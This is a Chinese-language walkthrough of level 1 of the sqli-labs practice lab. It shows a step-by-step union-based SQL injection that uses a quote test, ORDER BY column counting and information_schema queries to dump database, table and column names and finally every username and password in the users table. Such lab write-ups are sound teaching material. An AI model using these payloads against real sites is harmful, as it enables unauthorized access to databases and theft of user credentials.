sql-labs闯关总结
第一关
第一关就是属于五种漏洞类型的第一种(基于错误的get单引号字符型注入)
1、常规性测试
先输入不同的id参数值,id=1、2、3… ,发现网页正常返回结果
2、判断注入点
一般注入点有 ‘,",无,),’),")等 ,后面接or 1=1 和 1=2
输入id=1’,页面输出错误信息
由此我们可以推测出后台的select语句应该为:select * from table where id=‘input’,其中的input就是我们刚才输入的 1’
3、判断字段个数
输入order by i ,(i为自然数)当 i 的值为1-3时,界面正常返回,当 i 的值为4时,界面返回错误,则判断有3个字段
4、判断显位
输入 union select 1,2,3 ,发现原本显示name的地方显示2,原本显示password的地方显示3,则判断name应该在第二个字段,password应该在第三个字段。
5、爆数据库名
1)爆出成组的数据库名
union select 1,group_concat(schema_name),3 from information_schema.schemata
2)爆出当前正在使用的库名
union select 1,database(),3
然而我们现在只需要正在使用的数据库的名,所以我们要使用第二种方法
6、爆表名
知道数据库名接下来就要爆表名了
逐个爆表名
union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit i,1 (通过修改 i 这个参数来实现逐个**,i 的值从0开始)
成组爆表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’
这里我们需要知道它全部的表名
7、爆字段名
逐个爆字段名
union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit i,1 (通过修改 i 这个参数来实现逐个**,i 的值从0开始)
成组爆字段名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’
(这里我们选择users这个表,是因为它最有可能是我们想要的表,当然如果你不闲麻烦你可以一个个的试)
8、爆元组值
逐个爆元组值
union select 1,username,password from users limit i,1(通过修改 i 这个参数来实现逐个**,i 的值从0开始)
成组爆元祖值
union select 1,group_concat(username),group_concat(password) from users
(这里我们直接成组**就可以获得users中所有的账号和密码)